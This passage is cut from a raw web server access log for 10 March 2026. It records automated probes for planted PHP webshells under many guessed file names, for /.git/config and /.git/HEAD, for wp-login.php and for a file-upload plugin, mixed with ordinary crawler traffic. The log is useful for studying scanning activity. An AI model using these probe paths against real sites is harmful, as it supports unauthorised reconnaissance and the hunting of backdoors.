/aaa.php?p= HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:20:09 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:20:13 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:20:49 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:20:49 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:14 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:23:21 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:23:24 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:23:28 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:24:23 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:24:26 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "-" 43.228.157.67 - - [10/Mar/2026:12:06:09 +0300] "GET /public/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 40.113.19.56 - - [10/Mar/2026:10:20:54 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:20:58 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:09 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:22:24 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:23:46 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:23:49 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:14:28 +0300] "GET /asw.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:14:30 +0300] "GET /eee.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:14:48 +0300] "GET /teee.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:14:51 +0300] "GET /elabel.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:14:55 +0300] "GET /bafFz.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:14:59 +0300] "GET /rere.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:54 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:58 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:58 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:15 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:19 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:22 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:25 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [10/Mar/2026:10:54:12 +0300] "GET /oo.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:05 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:40 +0300] "GET //wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:40 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:40 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:40 +0300] "GET //wp-admin/images/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:22:10 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:22:10 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:22:10 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:24:05 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:24:09 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:24:12 +0300] "GET /4h.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:24:18 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 17.22.237.7 - - [10/Mar/2026:11:37:16 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.22.237.7 - - [10/Mar/2026:11:37:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 43.228.157.67 - - [10/Mar/2026:12:06:08 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 40.113.19.56 - - [10/Mar/2026:10:15:29 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:15:35 +0300] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:15:39 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:38 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:42 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:46 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:46 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:49 +0300] "GET //2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:28 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:34 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:35 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:35 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:19 +0300] "GET //wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [10/Mar/2026:10:53:56 +0300] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [10/Mar/2026:10:54:00 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [10/Mar/2026:10:54:01 +0300] "GET /wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 43.166.136.24 - - [10/Mar/2026:11:03:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.113.19.56 - - [10/Mar/2026:10:14:36 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:15:12 +0300] "GET /wo.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:10 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:15 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:18 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:21 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:42 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:42 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:21 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:23 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:23 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:04 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:23 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:25 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:25 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:28 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:29 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:32 +0300] "GET //assets/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:34 +0300] "GET /w4.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:36 +0300] "GET //wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:38 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:41 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:43 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:47 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:52 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 123.187.240.242 - - [10/Mar/2026:10:29:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.63.83.113 - - [10/Mar/2026:10:53:50 +0300] "GET /file6.php HTTP/1.1" 301 795 "-" "-" 212.162.151.30 - - [10/Mar/2026:12:18:28 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0" 107.172.58.36 - - [10/Mar/2026:12:49:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15" 103.118.44.176 - - [10/Mar/2026:13:01:21 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 94.26.106.114 - - [10/Mar/2026:13:09:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.bing.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15" 185.70.93.184 - - [10/Mar/2026:13:42:50 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0" 51.75.54.138 - - [10/Mar/2026:13:45:01 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0" 154.79.23.22 - - [10/Mar/2026:13:36:12 +0300] "GET / HTTP/1.1" 301 795 "android-app://com.google.android.googlequicksearchbox/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36" 43.155.140.157 - - [10/Mar/2026:15:27:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.4.63.206 - - [10/Mar/2026:16:02:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/120.0.6099.28 Safari/537.36" 141.98.11.224 - - [10/Mar/2026:16:24:47 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 185.245.183.158 - - [10/Mar/2026:16:14:49 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.228.157.68 - - [10/Mar/2026:16:24:49 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 43.153.27.244 - - [10/Mar/2026:16:13:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.228.157.68 - - [10/Mar/2026:16:24:50 +0300] "GET /.git/HEAD HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 141.94.27.49 - - [10/Mar/2026:16:48:45 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0" 80.94.95.202 - - [10/Mar/2026:16:34:30 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 173.252.82.1 - - [10/Mar/2026:16:56:20 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.228.157.37 - - [10/Mar/2026:17:39:05 +0300] "GET /admin/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 142.93.208.146 - - [10/Mar/2026:16:55:13 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 31.13.115.5 - - [10/Mar/2026:16:56:21 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 110.166.71.39 - - [10/Mar/2026:17:40:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 161.115.234.131 - - [10/Mar/2026:20:50:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0" 43.159.128.237 - - [10/Mar/2026:20:41:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.2.138.226 - - [10/Mar/2026:20:23:52 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 101.33.55.204 - - [10/Mar/2026:21:32:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.148.186 - - [10/Mar/2026:21:48:20 +0300] "GET /phina.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:40 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:40 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:59 +0300] "GET /xc0252.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:59 +0300] "GET /f6.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:02 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:35 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:39 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:21 +0300] "GET /oo.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:21 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:21 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:21 +0300] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:21 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:21 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:21 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:21 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:21 +0300] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:21 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:22 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:22 +0300] "GET /wp-logout.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:22 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:22 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:22 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:22 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:41 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:23 +0300] "GET /size.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:44 +0300] "GET /siteheads.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:44 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:44 +0300] "GET /ng.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:44 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:48 +0300] "GET /to.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:50 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:55 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:55 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:55 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:55 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:55 +0300] "GET /geck.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:55 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 205.210.31.104 - - [10/Mar/2026:23:03:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 52.169.148.186 - - [10/Mar/2026:21:48:10 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:28 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:34 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:18 +0300] "GET /ws47.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:32 +0300] "GET /x12.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:32 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:35 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:37 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:41 +0300] "GET /rrr.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:46 +0300] "GET /uploads/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:03 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:06 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:14 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:21 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:24 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:30 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:32 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:33 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:04 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:04 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:33 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:34 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:38 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:47 +0300] "GET /siteheads.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:14 +0300] "GET /ws36.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:17 +0300] "GET /past.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:25 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:29 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 84.233.216.194 - - [10/Mar/2026:22:23:44 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 52.169.148.186 - - [10/Mar/2026:21:48:54 +0300] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:54 +0300] "GET /xc0252.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:57 +0300] "GET /f6.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:11 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:12 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 52.4.63.207 - - [10/Mar/2026:21:49:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/120.0.6099.28 Safari/537.36" 52.169.148.186 - - [10/Mar/2026:21:49:43 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:55 +0300] "GET /ant.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:37 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:44 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:48 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:50 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:50 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:50 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:59 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:53 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:57 +0300] "GET /ng.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:03 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:20 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:23 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:42 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:45 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 212.227.105.62 - - [10/Mar/2026:22:52:37 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0" 52.169.148.186 - - [10/Mar/2026:21:48:28 +0300] "GET /ta0ol.php HTTP/1.1" 301 795 "-" 